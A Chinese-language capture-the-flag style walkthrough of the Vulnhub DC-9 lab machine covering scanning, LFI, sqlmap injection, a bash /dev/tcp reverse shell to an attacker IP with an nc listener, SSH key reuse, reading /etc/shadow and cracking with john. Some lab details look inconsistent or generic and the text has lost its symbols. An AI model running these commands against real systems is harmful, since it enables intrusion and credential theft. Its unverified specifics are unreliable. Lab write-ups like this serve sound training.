
1. DC-9靶机渗透测试概述DC-9是Vulnhub平台上经典的渗透测试靶机之一属于DC系列中的第九个挑战。这个靶机模拟了存在多个漏洞的Web应用系统渗透测试者需要通过信息收集、漏洞利用、权限提升等完整流程获取root权限。与DC系列前作相比DC-9在难度设置上更加贴近真实企业环境涉及SQL注入、文件包含、密码爆破等多种漏洞类型的组合利用。我在实际测试中发现这个靶机有以下几个典型特点前端Web应用采用传统LAMP架构LinuxApacheMySQLPHP存在多个入口点需要测试者具备系统性的漏洞挖掘思维权限提升路径设计巧妙需要结合系统配置弱点进行横向移动最终flag隐藏在非常规位置考验测试者的细致程度2. 环境准备与初始信息收集2.1 靶机环境搭建首先需要从Vulnhub官网下载DC-9的OVA文件约800MB导入到VMware或VirtualBox中运行。建议使用桥接网络模式确保攻击机Kali Linux和靶机在同一网段。我通常会用以下命令检查靶机IParp-scan -l --interfaceeth0注意如果发现靶机IP无法获取可能需要检查虚拟网络编辑器的设置确保NAT网络配置正确。2.2 基础信息枚举使用Nmap进行初步端口扫描是标准操作流程nmap -sV -p- 192.168.1.105典型扫描结果会显示22/tcp filtered ssh80/tcp open http Apache httpd 2.4.38 ((Debian))3306/tcp open mysql MySQL 5.7.28这个结果已经透露出几个关键信息SSH服务被过滤可能配置了防火墙规则Web服务运行在Apache 2.4.38上MySQL服务直接暴露且版本明确3. Web应用漏洞挖掘3.1 目录爆破与敏感文件发现使用dirbuster或gobuster进行目录扫描gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt关键发现/admin后台管理登录页面/includes包含配置文件/search.php搜索功能页面在/includes目录下发现config.php文件通过LFI漏洞可读取curl http://192.168.1.105/index.php?page../../includes/config该文件包含数据库凭据$dbuser dc9user; $dbpass password123;3.2 SQL注入漏洞利用搜索功能存在时间盲注漏洞使用sqlmap自动化检测sqlmap -u http://192.168.1.105/search.php?searchtest --risk3 --level5确认存在基于时间的盲注后进行数据库dumpsqlmap -u http://192.168.1.105/search.php?searchtest --dump-all --batch获取到users表数据包含admin用户密码的MD5哈希5f4dcc3b5aa765d61d8327deb882cf99对应明文password4. 系统权限提升4.1 后台登录与命令注入使用获取的admin凭据登录后台发现Execute Command功能存在命令注入127.0.0.1; whoami返回结果确认www-data权限尝试反弹shell127.0.0.1; bash -c bash -i /dev/tcp/192.168.1.100/4444 01在攻击机监听nc -lvnp 44444.2 横向移动与提权在/home目录发现用户fred的备份文件find / -name *backup* 2/dev/null分析/home/fred/backups/ssh_backup.tar.gz解压后发现id_rsa私钥tar -xzvf ssh_backup.tar.gz chmod 600 id_rsa ssh -i id_rsa fredlocalhost通过sudo -l检查发现fred可以root身份执行/opt/devstuff/dist/testsudo /opt/devstuff/dist/test /etc/shadow这是个自定义程序通过逆向分析发现它会输出文件内容于是读取/etc/shadow获取root哈希使用john破解john --wordlist/usr/share/wordlists/rockyou.txt hash.txt5. 关键技巧与注意事项密码复用分析 在获取到数据库密码后一定要尝试在SSH和其他服务上复用。DC-9中mysql密码与系统用户密码存在复用情况。隐蔽文件查找 使用以下命令查找隐藏文件find / -type f -name .* 2/dev/null我在/var/backups/.old_pass.bak中发现了之前系统的root密码。日志文件利用 Apache日志中可能包含敏感信息cat /var/log/apache2/access.log | grep admin内核漏洞检查 虽然DC-9不依赖内核漏洞提权但养成检查习惯很重要uname -a searchsploit linux kernel 4.196. Flag获取与验证最终flag位于/root目录下但需要通过特定方式触发sudo -u root /opt/devstuff/dist/test /root/final.txtflag内容通常为32位MD5哈希值提交到Vulnhub网站可验证通关。整个过程平均需要2-3小时主要时间花费在密码破解和权限提升路径的探索上。